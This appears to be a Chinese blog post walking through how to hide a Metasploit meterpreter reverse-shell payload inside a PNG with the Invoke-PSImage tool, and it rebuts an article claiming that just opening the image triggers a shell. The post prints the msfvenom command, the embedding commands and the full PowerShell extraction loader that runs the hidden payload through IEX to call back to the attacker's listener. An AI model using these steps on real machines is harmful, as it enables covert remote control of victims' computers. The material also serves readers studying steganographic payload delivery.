0x00 前言
最近看到一篇微信文章说是可以利用png反弹shell,我还以为图片查看器有什么漏洞,可以在png植入payload然后执行的。
最后测试复现不了,然后分析了下ps脚本,原来只是利用了一种图片隐写术,将payload隐藏到png图片里,然后再通过提供的powershell命令去提取png中的payload运行,最后实现了反弹shell,而那篇文章中却把执行这一步跳过了,让大家产生错觉,以为是图片打开就可以反弹shell,下面我复现这整个过程。
0x01 复现
首先使用msf去生成一个反弹shell的powershell脚本。命令如下
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=6666 -f psh-reflection -o /root/lz.ps1 |
生成成功,结果如下
然后去github下载利用工具
https://github.com/peewpw/Invoke-PSImage
工具本身是一个ps脚本,执行以下两条命令,将msf生成的payload隐写进图片里,然后输出格式为png
Import-Module .\Invoke-PSImage.ps1 //将Invoke-PSImage.ps1导入为ps模块 Invoke-PSImage -Script .\lz.ps1 -Image .\1.jpg -Out lz.png //调用导入的模块,将payload和图片进行合成输出png |
生成图片后,会回显一段命令,这段命令是反弹shell的关键,实际上就是执行这段命令去提取png里隐藏的payload来加载运行的,仔细看下这段命令,其中也可以看到我们生成的图片路径。
sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g=a System.Drawing.Bitmap("C:\Users\lz520520\Desktop\Invoke-PSImage-master\lz.png");$o=a Byte[] 3120;(0..3)|%{foreach($x in(0..779)){$p=$g.GetPixel($x,$_);$o[$_*780+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2825])) |
我们在kali里使用msf监听反弹shell的端口。
然后powershell命令行执行上面输出的ps命令即可反弹shell。msf使用就不赘述了,不清楚可以百度一下。
我们对比下合成前后的图片,质量是有所影响,但问题不大。
注意事项:
1.输入的图片格式使用jpg、png都行,不过输入建议使用jpg,png测试有问题,但输出必须为png。
2.且需要注意的,该方法是将payload每个字节隐藏到图片每个像素中,也就是我的payload是为2826字节,那么我的图片像素点至少也要2826,不然不够写入payload。
图片像素点计算如下
查看详细信息,像素点为780*229=178620,最大可以保存178620字节的payload。
3.payload我生成的是x64,生成x86的也行。
0x03 结语
上述主要讲的是反弹shell的操作,其实payload是自定义的,设计自己想要的payload即可执行其他任意操作。我看了下github更新时间,这个方法其实两年前就有了,不过这种隐藏payload的思路还是值得借鉴的。对于那篇文章的看法,我觉得分享给大家的技术,应该是可以让读者复现的,这种隐藏部分操作,让读者存在困惑的方式,最终会给读者留下不好的印象,因为我同事也看了那篇文章,被误导以为打开图片就可以反弹shell,然后始终复现不了,觉得作者在坑人,即使最后明白了真正的利用方式,也觉得作者不靠谱。
0x04 参考
https://www.freebuf.com/sectool/157514.html
https://github.com/peewpw/Invoke-PSImage
http://100000p.com/article/2c9f60ef6098b4260160b24bc5db00ea